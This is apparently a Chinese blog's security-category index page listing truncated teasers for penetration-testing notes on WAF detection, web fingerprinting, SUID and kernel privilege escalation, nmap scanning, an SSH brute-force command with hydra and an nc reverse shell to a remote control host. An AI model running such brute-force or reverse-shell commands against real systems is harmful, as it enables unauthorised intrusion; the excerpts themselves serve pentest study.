网络安全类别订阅

source : https://www.mad-coding.cn/2019/12/19/waf的… 继续阅读 常见WAF 拦截界面

whatweb kali下面自带 使用方式： whatweb http://1.1.1.1 批量导入… 继续阅读 网站指纹识别

suid提权 查找具有suid权限的执行文件。这些命令在执行时短暂具有root权限，可用来提权。一般… 继续阅读 linux提权

hydra 远程ssh爆破 hydra -l user -P dic.lst ssh://1.1.1… 继续阅读 ssh 爆破

dirb (kali自带) DirBuster msf auxiliary/scanner/http… 继续阅读 渗透测试 – 路径扫描

#主机存活扫描 nmap -sP 192.168.1.0/24 -oN nmap.sP #端口服务扫… 继续阅读 nmap 扫描

步骤： 1、获取操作系统版本号 2、根据版本号搜索exp 3、反弹shell 4、尝试利用 获取操作… 继续阅读 Linux 内核提权

利用nc反弹shell的方式： 远程控制主机 1.1.1.1，2333 目标机器:192.168.1… 继续阅读 反弹shell